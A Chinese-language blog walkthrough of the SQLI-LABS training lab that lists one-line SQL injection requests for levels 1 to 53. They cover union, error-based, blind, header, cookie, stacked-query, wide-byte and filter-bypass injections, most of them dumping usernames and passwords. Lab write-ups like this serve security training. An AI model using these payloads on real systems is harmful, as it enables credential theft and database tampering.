【靶场】SQLI-LABS通关攻略

发表于 更新于 阅读次数：

前言

SQLI-LABS通关攻略
解法不止一种，只要根据源码进行绕过都可以顺利过关

Page-1 (Basic Challenges)

Less-1

request
1
GET /Less-1/?id=' union select 1,2,group_concat(username,0x3a,password) from users --+

Less-2

request
1
GET /Less-2/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+

Less-3

request
1
GET /Less-3/?id=') union select 1,2,group_concat(username,0x3a,password) from users --+

Less-4

request
1
GET /Less-4/?id=") union select 1,2,group_concat(username,0x3a,password) from users --+

Less-5

request
1
GET /Less-5/?id=' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

Less-6

request
1
GET /Less-6/?id=" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

Less-7

request
1
GET /Less-7/?id=1')) and ascii(substr((select database()),1,1))=115 --+

Less-8

request
1
GET /Less-8/?id=1' and ascii(substr((select database()),1,1))=115 --+

Less-9

request
1
GET /Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

Less-10

request
1
GET /Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

Less-11

request
1
2
3
4
POST /Less-11/
Content-Type: application/x-www-form-urlencoded

uname=' union select 1,group_concat(username,0x3a,password) from users --+&passwd=1&submit=Submit

Less-12

request
1
2
3
4
POST /Less-12/
Content-Type: application/x-www-form-urlencoded

uname=") union select 1,group_concat(username,0x3a,password) from users --+&passwd=1&submit=Submit

Less-13

request
1
2
3
4
POST /Less-13/
Content-Type: application/x-www-form-urlencoded

uname=admin') and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+&passwd=1&submit=Submit

Less-14

request
1
2
3
4
POST /Less-14/
Content-Type: application/x-www-form-urlencoded

uname=admin" and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+&passwd=1&submit=Submit

Less-15

request
1
2
3
4
POST /Less-15/
Content-Type: application/x-www-form-urlencoded

uname=admin' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+&passwd=1&submit=Submit

Less-16

request
1
2
3
4
POST /Less-16/
Content-Type: application/x-www-form-urlencoded

uname=admin") and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+&passwd=1&submit=Submit

Less-17

request
1
2
3
4
POST /Less-17/
Content-Type: application/x-www-form-urlencoded

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1) --+&submit=Submit

Less-18

request
1
2
3
4
5
POST /Less18/
Content-Type: application/x-www-form-urlencoded
User-Agent: ' ,updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1) ,'1','admin')#

uname=admin&passwd=admin&submit=Submit

Less-19

request
1
2
3
4
5
POST /Less19/
Content-Type: application/x-www-form-urlencoded
Referer: ' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1) or '1

uname=admin&passwd=admin&submit=Submit

Less-20

request
1
2
GET /Less-20/index.php
Cookie: uname=' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1) --+

Page-2 (Advanced Injections)

Less-21

request
1
2
GET /Less-21/index.php
Cookie: uname=Jykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSAoc2VsZWN0ICogZnJvbSB1c2VycykgdG1wKSksMSkj

Less-22

request
1
2
GET /Less-22/index.php
Cookie: uname=IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIChzZWxlY3QgKiBmcm9tIHVzZXJzKSB0bXApKSwxKSM=

Less-23

request
1
GET /Less-23/?id=' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1) or '1'='1

Less-24

  1. 注册admin'#用户
  2. 登录admin'#用户
  3. 修改admin'#用户密码
  4. 退出登录admin'#用户
  5. 登录admin用户，密码为admin'#用户的新密码

Less-25

request
1
GET /Less-25/?id=' union select 1,2,group_concat(username,0x3a,passwoorrd) from users --+

Less-25a

request
1
GET /Less-25a/?id=-1%0aunion%0aselect%0a1,2,group_concat(username,0x3a,passwoorrd)%0afrom%0ausers%0a--+

Less-26

request
1
GET /Less-26/?id='%0bunion%0bselect%0b1,2,group_concat(username,0x3a,passwoorrd)%0bfrom%0busers%0bwhere%0b''='

Less-26a

request
1
GET /Less-26a/?id=')%0bunion%0bselect%0b1,2,group_concat(username,0x3a,passwoorrd)%0bfrom%0busers%0bwhere%0b''=('

Less-27

request
1
GET /Less-27/?id='%0bunioN%0bselecT%0b1,2,group_concat(username,0x3a,password)%0bfrom%0busers%0bwhere%0b''='

Less-27a

request
1
GET /Less-27a/?id="%0bunioN%0bselecT%0b1,2,group_concat(username,0x3a,password)%0bfrom%0busers%0bwhere%0b"1"="1

Less-28

request
1
GET /Less-28/?id=')%0bunioN%0bselecT%0b1,2,group_concat(username,0x3a,password)%0bfrom%0busers%0bwhere%0b'1'=('1

Less-28a

request
1
GET /Less-28a/?id=') union selecunion selectt 1,2,group_concat(username,0x3a,password) from users --+

Less-29

request
1
GET /Less-29/?id=' union select 1,2,group_concat(username,0x3a,password) from users --+

Less-30

request
1
GET /Less-30/?id=" union select 1,2,group_concat(username,0x3a,password) from users --+

Less-31

request
1
GET /Less-31/?id=") union select 1,2,group_concat(username,0x3a,password) from users --+

Less-32

request
1
GET /Less-32/?id=%df' union select 1,2,group_concat(username,0x3a,password) from users --+

Less-33

request
1
GET /Less-33/?id=%df' union select 1,2,group_concat(username,0x3a,password) from users --+

Less-34

request
1
2
3
4
POST /Less-34/
Content-Type: application/x-www-form-urlencoded

uname=%df' union select 1,group_concat(username,0x3a,password) from users --+&passwd=1&submit=Submit

Less-35

request
1
GET /Less-35/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users --+&

Less-36

  • 单引号 mysql_real_escape_string 宽字节
request
1
GET /Less-36/?id=%df' union select 1,2,group_concat(username,0x3a,password) from users --+

Less-37

request
1
2
3
4
POST /Less-37/
Content-Type: application/x-www-form-urlencoded

uname=%df' union select 1,group_concat(username,0x3a,password) from users --+&passwd=1&submit=Submit

Page-3 (Stacked Injections)

Less-38

request
1
GET /Less-38/?id=1';set @data=(select group_concat(username,0x3a,password) from users);insert into users(id,username,password) values(99,@data,'') on duplicate key update username=@data;--+
request
1
GET /Less-38/?id=99

Less-39

request
1
GET /Less-39/?id==1;set @data=(select group_concat(username,0x3a,password) from users);insert into users(id,username,password) values(99,@data,'') on duplicate key update username=@data;--+
request
1
GET /Less-38/?id=99

Less-40

request
1
GET /Less-40/?id=1');set @data=(select group_concat(username,0x3a,password) from users);insert into users(id,username,password) values(99,@data,'') on duplicate key update username=@data;--+
request
1
GET /Less-38/?id=99

Less-41

request
1
GET /Less-41/?id=1;set @data=(select group_concat(username,0x3a,password) from users);insert into users(id,username,password) values(99,@data,'') on duplicate key update username=@data;--+
request
1
GET /Less-41/?id=99

Less-42

  1. 登录admin用户
  2. 保留旧的页面，在新的页面重新发送登录请求
request
1
2
3
4
POST /Less-42/login.php
Content-Type: application/x-www-form-urlencoded

login_user=admin&login_password=admin' or 1=1;set @data=(select group_concat(username,0x3a,password) from users);update users set username=@data where 1=1; --+&mysubmit=Login
  1. 在旧的页面刷新，此时会通过已登录账号的Session查询当前用户名，通过用户名将数据带外

Less-43

  1. 登录admin用户
  2. 保留旧的页面，在新的页面重新发送登录请求
request
1
2
3
4
POST /Less-43/login.php
Content-Type: application/x-www-form-urlencoded

login_user=admin&login_password=admin') or 1=1;set @data=(select group_concat(username,0x3a,password) from users);update users set username=@data where 1=1; --+&mysubmit=Login
  1. 在旧的页面刷新，此时会通过已登录账号的Session查询当前用户名，通过用户名将数据带外

Less-44

  1. 登录admin用户
  2. 保留旧的页面，在新的页面重新发送登录请求
request
1
2
3
4
POST /Less-44/login.php
Content-Type: application/x-www-form-urlencoded

login_user=admin&login_password=admin' or 1=1;set @data=(select group_concat(username,0x3a,password) from users);update users set username=@data where 1=1; --+&mysubmit=Login
  1. 在旧的页面刷新，此时会通过已登录账号的Session查询当前用户名，通过用户名将数据带外

Less-45

  1. 登录admin用户
  2. 保留旧的页面，在新的页面重新发送登录请求
request
1
2
3
4
POST /Less-45/login.php
Content-Type: application/x-www-form-urlencoded

login_user=admin&login_password=admin') or 1=1;set @data=(select group_concat(username,0x3a,password) from users);update users set username=@data where 1=1; --+&mysubmit=Login
  1. 在旧的页面刷新，此时会通过已登录账号的Session查询当前用户名，通过用户名将数据带外

Less-46

request
1
GET /Less-46/?sort=updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1)

Less-47

request
1
GET /Less-47/?sort=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from (select * from users) tmp)),1) and '1'='1

Less-48

request
1
GET /Less-48/?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

Less-49

request
1
GET /Less-49/?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

Less-50

request
1
GET /Less-50/?sort=1;set @data=(select group_concat(username,0x3a,password) from users);insert into users(id,username,password) values(99,@data,'') on duplicate key update username=@data; --+
request
1
GET /Less-50/?sort=1

Less-51

request
1
GET /Less-51/?sort=1';set @data=(select group_concat(username,0x3a,password) from users);insert into users(id,username,password) values(99,@data,'') on duplicate key update username=@data; --+
request
1
GET /Less-51/?sort=1

Less-52

request
1
GET /Less-52/?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

Less-53

request
1
GET /Less-53/?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+

Page-4 (Challenges)

略

完成